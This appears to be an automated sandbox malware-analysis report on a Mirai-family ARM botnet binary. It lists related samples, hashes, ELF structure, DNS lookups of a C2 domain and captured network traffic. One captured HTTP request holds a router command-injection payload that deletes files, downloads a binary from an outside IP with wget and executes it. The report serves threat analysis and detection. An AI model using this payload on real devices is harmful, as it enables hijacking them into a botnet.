158.120.80.27	unknown	United States	31756	COLORADOSPRINGS-GOVUS	false
177.22.249.11	unknown	Brazil	263564	CPnetSeuProvedorBandaLargaBR	false
128.21.222.185	unknown	United States	13	DNIC-AS-00013US	false
191.140.250.75	unknown	Brazil	26615	TIMSABR	false
48.150.5.53	unknown	United States	2686	ATGS-MMD-ASUS	false
194.193.29.71	unknown	Australia	17477	MCT-SYDNEYMacquarieTelecomAU	false
81.11.205.157	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
157.54.13.213	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
93.47.218.27	unknown	Italy	12874	FASTWEBIT	false
171.29.63.179	unknown	United Kingdom	34457	AMB-GENERALIDE	false
223.179.202.232	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
197.93.232.129	unknown	South Africa	10474	OPTINETZA	false
143.137.161.35	unknown	Brazil	264051	PROVEDORACTIONBR	false
197.102.171.188	unknown	South Africa	3741	ISZA	false
106.236.17.14	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
175.187.94.118	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
197.58.116.239	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.182.10.59	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
195.156.127.33	unknown	Finland	1759	TSF-IP-CORETeliaFinlandOyjEU	false
197.193.219.76	unknown	Egypt	36992	ETISALAT-MISREG	false
157.162.143.37	unknown	Germany	22192	SSHENETUS	false
191.206.147.103	unknown	Brazil	26599	TELEFONICABRASILSABR	false
184.135.50.10	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
179.7.17.248	unknown	Peru	12252	AmericaMovilPeruSACPE	false
130.159.15.46	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
66.17.98.85	unknown	United States	26860	SWTCUS	false
197.53.120.115	unknown	Egypt	8452	TE-ASTE-ASEG	false
191.1.251.218	unknown	Brazil	7738	TelemarNorteLesteSABR	false
41.239.218.89	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.102.54.122	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.177.70.191	unknown	South Africa	36874	CybersmartZA	false
96.80.107.52	unknown	United States	7922	COMCAST-7922US	false
152.77.67.75	unknown	France	1942	FR-TIGREToileInformatiqueGREnobloiseEU	false
157.220.202.163	unknown	United States	4704	SANNETRakutenMobileIncJP	false
157.194.117.223	unknown	United States	4704	SANNETRakutenMobileIncJP	false
144.250.158.186	unknown	United States	7046	RFC2270-UUNET-CUSTOMERUS	false
191.86.86.128	unknown	Brazil	26615	TIMSABR	false
20.174.35.247	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
201.51.235.246	unknown	Brazil	7738	TelemarNorteLesteSABR	false
157.227.30.155	unknown	Australia	4704	SANNETRakutenMobileIncJP	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.73.250.171	ascaris.i486.elf	Get hash	malicious	Mirai	Browse
2.229.196.120	arm7	Get hash	malicious	Mirai	Browse
41.201.246.168	x86_64-20240223-1531.elf	Get hash	malicious	Mirai, Moobot	Browse
41.201.246.168	bk.mpsl-20220929-1805.elf	Get hash	malicious	Mirai	Browse
27.155.187.72	Josho.arm7	Get hash	malicious	Mirai	Browse
157.114.204.198	skyljnee.x86_64-20240128-0910.elf	Get hash	malicious	Mirai	Browse
	AiB2hMdov5.elf	Get hash	malicious	Mirai, Moobot	Browse
	FyFzTLmhj6.elf	Get hash	malicious	Mirai	Browse
	IMI9nOZI15.elf	Get hash	malicious	Mirai, Moobot	Browse
	hFpBprmX2V.elf	Get hash	malicious	Mirai	Browse
	bYIuoVath8.elf	Get hash	malicious	Mirai	Browse
157.252.171.64	UxvONCLJJ4.elf	Get hash	malicious	Mirai, Moobot	Browse
	kXf5n24SG6.elf	Get hash	malicious	Mirai, Moobot	Browse
	ZvhejDgSVg.elf	Get hash	malicious	Mirai, Moobot	Browse
157.78.133.31	Y9CVEji9nz	Get hash	malicious	Mirai	Browse
157.2.29.40	bot.x86-20240324-1846.elf	Get hash	malicious	Mirai, Moobot	Browse
157.2.29.40	6gcJ5enHS0.elf	Get hash	malicious	Mirai, Moobot	Browse
197.148.170.245	NRfSsM1XtX.elf	Get hash	malicious	Mirai	Browse
	sora.arm.elf	Get hash	malicious	Mirai	Browse
	wk8HcGplAk.elf	Get hash	malicious	Mirai, Moobot	Browse
	a5Awf2XPmL.elf	Get hash	malicious	Mirai, Moobot	Browse
	aAOTiDbSyD	Get hash	malicious	Unknown	Browse
	9i3dQ7xdtO	Get hash	malicious	Mirai	Browse
	pBg0XDtRP7	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINANET-BACKBONENo31Jin-rongStreetCN	http://www.sushi-idea.com	Get hash	malicious	Unknown	Browse	124.239.14.250
	https://librospy.com/	Get hash	malicious	Unknown	Browse	63.140.38.210
	https://18apmic18.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	63.140.38.210
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5	Get hash	malicious	Remcos	Browse	63.140.39.9
	czEunnbk7b.elf	Get hash	malicious	Mirai	Browse	106.4.232.113
	9IseFevRH6.elf	Get hash	malicious	Mirai	Browse	42.252.142.192
	BzmhHwFpCV.elf	Get hash	malicious	Mirai	Browse	110.87.89.100
	6VXQ3TUNZo.elf	Get hash	malicious	Mirai	Browse	14.134.60.181
	dPFRrhKTeG.elf	Get hash	malicious	Unknown	Browse	125.114.20.167
DIGCOMMFR	na.elf	Get hash	malicious	Mirai	Browse	185.58.155.27
	voLA2XC7HZ.elf	Get hash	malicious	Mirai	Browse	185.58.155.12
	Zy2VcEreRS.elf	Get hash	malicious	Mirai	Browse	185.58.155.13
	puGnofFCEf.elf	Get hash	malicious	Mirai	Browse	185.58.155.24
	86fWog7Qh0.elf	Get hash	malicious	Mirai	Browse	185.58.155.51
	5zGuQkUynj.elf	Get hash	malicious	Mirai	Browse	185.58.155.54
	43ZYohKtbk.elf	Get hash	malicious	Mirai	Browse	185.58.155.47
	Xw67ZwsVRx.elf	Get hash	malicious	Mirai, Moobot	Browse	185.58.155.46
	AT0uMmZ27F.elf	Get hash	malicious	Mirai	Browse	145.255.45.186
	zxc.x86.elf	Get hash	malicious	Mirai	Browse	185.58.155.56
FASTWEBIT	QFR4Qsnm6y.elf	Get hash	malicious	Mirai	Browse	2.236.57.129
	siGMVX2KKD.elf	Get hash	malicious	Mirai	Browse	2.236.57.164
	aga94GHd1L.elf	Get hash	malicious	Mirai	Browse	93.63.195.106
	zfehGxWbb4.elf	Get hash	malicious	Mirai	Browse	2.229.148.236
	hiqWVuoNwf.elf	Get hash	malicious	Mirai	Browse	93.56.246.197
	IBpwSQBj5F.elf	Get hash	malicious	Unknown	Browse	93.49.44.177
	GFw6joeIJl.elf	Get hash	malicious	Mirai	Browse	2.226.207.176
	ye7FfR856w.elf	Get hash	malicious	Mirai	Browse	93.63.195.110
	hCGaMRj2il.elf	Get hash	malicious	Mirai	Browse	2.229.5.107
	N1msxMZ5Il.elf	Get hash	malicious	Mirai	Browse	93.33.153.198
ALGTEL-ASDZ	3Bl37j9Opx.elf	Get hash	malicious	Mirai	Browse	197.204.9.202
	SecuriteInfo.com.FileRepMalware.20155.16240.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.118.140.123
	jwoOaBkH4i.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.205.16.176
	kl7nWo7u71.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.207.154.225
	OPs5j7Yjb8.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.207.206.190
	GjWh3Nar5c.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.206.199.12
	oLSb7SzacE.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.202.110.240
	H8wnVxIEh6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.116.212.240
	QXeoSsX87R.elf	Get hash	malicious	Gafgyt, Mirai	Browse	197.204.101.87
	skid.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.104.241.214
BOUYGTEL-ISPFR	Gq7FlDf6cE.elf	Get hash	malicious	Mirai	Browse	176.137.54.236
	Yui1pUgieI.elf	Get hash	malicious	Mirai	Browse	80.214.1.137
	0Ox8zezLAz.elf	Get hash	malicious	Mirai	Browse	176.186.142.218
	jLntRRok3B.elf	Get hash	malicious	Mirai	Browse	89.88.225.157
	MY69DoYgp5.elf	Get hash	malicious	Mirai	Browse	176.138.181.5
	iZYqP2K1UC.elf	Get hash	malicious	Mirai	Browse	176.142.234.224
	KFGhPSUn9z.elf	Get hash	malicious	Mirai	Browse	176.186.188.73
	0FnrrE8B6Y.elf	Get hash	malicious	Mirai	Browse	176.132.75.68
	zGAzL2T5Kp.elf	Get hash	malicious	Mirai	Browse	89.91.189.78
	BUBPZkk1Sm.elf	Get hash	malicious	Mirai	Browse	176.136.170.74

Process:	/tmp/mCS7AR9pKm.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.884183719779189
Encrypted:	false
SSDEEP:	3:Tgb2X3n2A3:Tgk2A3
MD5:	656E9EEE19720DA286A49A28779FB785
SHA1:	2AED1A9E7ABCB1B032F1B0940A29314BFD81C1C5
SHA-256:	044421195BAE4B4223B997FFA9A1B12E1BBAA366B22F02EC59DC121D5BA26C84
SHA-512:	B8D61FB1B739DB3A8045A71078125BBC52E1F4CD49A60C63D58E47A4047C3008F6D0C80665DF3F8B99B79BAE8D10FB8B103AF6249D3C31177AA630CE72F10368
Malicious:	false
Reputation:	low
Preview:	/tmp/mCS7AR9pKm.elf.

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	6.006470375048849
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mCS7AR9pKm.elf
File size:	192'578 bytes
MD5:	9cf6473a2a6f3902885113c7a00cc772
SHA1:	e186ccd94cf170e5fa34dd1a7d5895a06878714e
SHA256:	8f0268ef84fa5d00853be66f300bf6e46ea5e30365e6a5cfa2eb377fd0544102
SHA512:	16d9de4f0febebbc5d1592b4e53570752ce73801ac15ea770f62eaa84f9edfbe2d8687d8f676853cd7dbd3edbef2864b2f820a21f014c8356e311289c7b96009
SSDEEP:	3072:yn7KNPq6inZFsXRkIta9SvuDMh5hv8cBYUo3eRvUocM/RCZ:c7QWFshXta9SvuDM7xBXo3ovZcM/RCZ
TLSH:	02142A46EA404B13C4D627B9FADF42453333AB5493EB73069528ABB43F8679E4F23905
File Content Preview:	.ELF..............(.........4....J......4. ...(........p.....?...?..p...p...........................@...@...............@...@...@... ...HV..............D...D...D...................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	150200
Section Header Size:	40
Number of Section Headers:	30
Header String Table Index:	27

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x1970c	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x217fc	0x197fc	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x21810	0x19810	0x27a8	0x0	0x2	A	0	0	8
.ARM.extab	PROGBITS	0x23fb8	0x1bfb8	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x23fd0	0x1bfd0	0x170	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x2c140	0x1c140	0x4	0x0	0x3	WA	0	0	4
.tdata	PROGBITS	0x2c144	0x1c144	0x4	0x0	0x403	WAT	0	0	4
.tbss	NOBITS	0x2c148	0x1c148	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x2c148	0x1c148	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x2c14c	0x1c14c	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x2c150	0x1c150	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x2c154	0x1c154	0xc0	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x2c214	0x1c214	0x34c	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x2c560	0x1c560	0x5228	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x1c560	0xeec	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x1d450	0x160	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x1d5b0	0x23e	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x1d7ee	0x29df	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x201cd	0x986	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x20b53	0x10da	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x21c30	0x33c	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x21f6c	0xabc	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x22a28	0x182a	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x24252	0x730	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x24982	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x24998	0x11e	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x24f68	0x6770	0x10	0x0		29	956	4
.strtab	STRTAB	0x0	0x2b6d8	0x396a	0x0	0x0		0	0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x1bfd0	0x23fd0	0x23fd0	0x170	0x170	4.6848	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x1c140	0x1c140	6.1596	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x1c140	0x2c140	0x2c140	0x420	0x5648	4.3771	0x6	RW	0x8000	.eh_frame .tdata .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x1c144	0x2c144	0x2c144	0x4	0xc	2.0000	0x4	R	0x4	.tdata .tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mCS7AR9pKm.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.05UUal (deleted)

/tmp/qemu-open.07BYll (deleted)

/tmp/qemu-open.0CRuGj (deleted)

/tmp/qemu-open.0FvMci (deleted)

/tmp/qemu-open.0JBopk (deleted)

/tmp/qemu-open.0OD7Jh (deleted)

/tmp/qemu-open.0PLf7i (deleted)

/tmp/qemu-open.0TTzVk (deleted)

/tmp/qemu-open.0ZAqyi (deleted)

/tmp/qemu-open.0ZLWVh (deleted)

/tmp/qemu-open.0cpaIj (deleted)

/tmp/qemu-open.0dabfl (deleted)

/tmp/qemu-open.0eAFRh (deleted)

/tmp/qemu-open.0fQ2qj (deleted)

/tmp/qemu-open.0nkdBh (deleted)

/tmp/qemu-open.0p9K7j (deleted)

/tmp/qemu-open.0qAgYj (deleted)

/tmp/qemu-open.0rnvOl (deleted)

/tmp/qemu-open.0vtyMi (deleted)

/tmp/qemu-open.0wLIkj (deleted)

/tmp/qemu-open.10iogl (deleted)

/tmp/qemu-open.11puCh (deleted)

/tmp/qemu-open.1AHNGk (deleted)

/tmp/qemu-open.1EfN7j (deleted)

/tmp/qemu-open.1F3GYi (deleted)

Linux Analysis Report
mCS7AR9pKm.elf

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 19, 2024 13:07:01.606965065 CEST	192.168.2.15	8.8.8.8	0xe40f	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:05.093843937 CEST	192.168.2.15	8.8.8.8	0x2b0a	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:06.570919991 CEST	192.168.2.15	8.8.8.8	0x8016	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:09.065098047 CEST	192.168.2.15	8.8.8.8	0x9a2c	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:14.540220976 CEST	192.168.2.15	8.8.8.8	0x17b	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:23.016146898 CEST	192.168.2.15	8.8.8.8	0x42a6	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:30.493251085 CEST	192.168.2.15	8.8.8.8	0x8b58	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:34.963587046 CEST	192.168.2.15	8.8.8.8	0x3389	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:45.426290035 CEST	192.168.2.15	8.8.8.8	0x126a	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:50.881695986 CEST	192.168.2.15	8.8.8.8	0xc21d	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:52.361918926 CEST	192.168.2.15	8.8.8.8	0xeeb5	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:02.816167116 CEST	192.168.2.15	8.8.8.8	0x2015	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:04.282211065 CEST	192.168.2.15	8.8.8.8	0x39c	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:09.742121935 CEST	192.168.2.15	8.8.8.8	0x6a78	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:16.201829910 CEST	192.168.2.15	8.8.8.8	0x96bb	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:25.682461023 CEST	192.168.2.15	8.8.8.8	0x9e3f	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:33.133794069 CEST	192.168.2.15	8.8.8.8	0xc754	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:43.604887009 CEST	192.168.2.15	8.8.8.8	0xfd33	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:51.051055908 CEST	192.168.2.15	8.8.8.8	0x6e75	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:58.527164936 CEST	192.168.2.15	8.8.8.8	0xd71b	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:09:03.992531061 CEST	192.168.2.15	8.8.8.8	0x82ab	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 19, 2024 13:07:01.718381882 CEST	8.8.8.8	192.168.2.15	0xe40f	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:05.198771000 CEST	8.8.8.8	192.168.2.15	0x2b0a	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:06.695768118 CEST	8.8.8.8	192.168.2.15	0x8016	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:09.170191050 CEST	8.8.8.8	192.168.2.15	0x9a2c	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:14.645344973 CEST	8.8.8.8	192.168.2.15	0x17b	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:23.121016026 CEST	8.8.8.8	192.168.2.15	0x42a6	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:30.598062038 CEST	8.8.8.8	192.168.2.15	0x8b58	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:35.068758965 CEST	8.8.8.8	192.168.2.15	0x3389	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:45.531049013 CEST	8.8.8.8	192.168.2.15	0x126a	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:50.986540079 CEST	8.8.8.8	192.168.2.15	0xc21d	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:52.466887951 CEST	8.8.8.8	192.168.2.15	0xeeb5	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:02.921268940 CEST	8.8.8.8	192.168.2.15	0x2015	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:04.387295008 CEST	8.8.8.8	192.168.2.15	0x39c	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:09.847260952 CEST	8.8.8.8	192.168.2.15	0x6a78	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:16.306740999 CEST	8.8.8.8	192.168.2.15	0x96bb	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:25.788500071 CEST	8.8.8.8	192.168.2.15	0x9e3f	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:33.238951921 CEST	8.8.8.8	192.168.2.15	0xc754	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:43.710247040 CEST	8.8.8.8	192.168.2.15	0xfd33	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:51.155569077 CEST	8.8.8.8	192.168.2.15	0x6e75	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:58.632210016 CEST	8.8.8.8	192.168.2.15	0xd71b	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:09:04.098042011 CEST	8.8.8.8	192.168.2.15	0x82ab	No error (0)	botnet.net-killertajima.com	103.174.73.190	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 13:07:28.862489939 CEST	235	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Apr 19, 2024 13:07:29.024940014 CEST	1289	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Fri, 19 Apr 2024 11:18:55 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3468 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 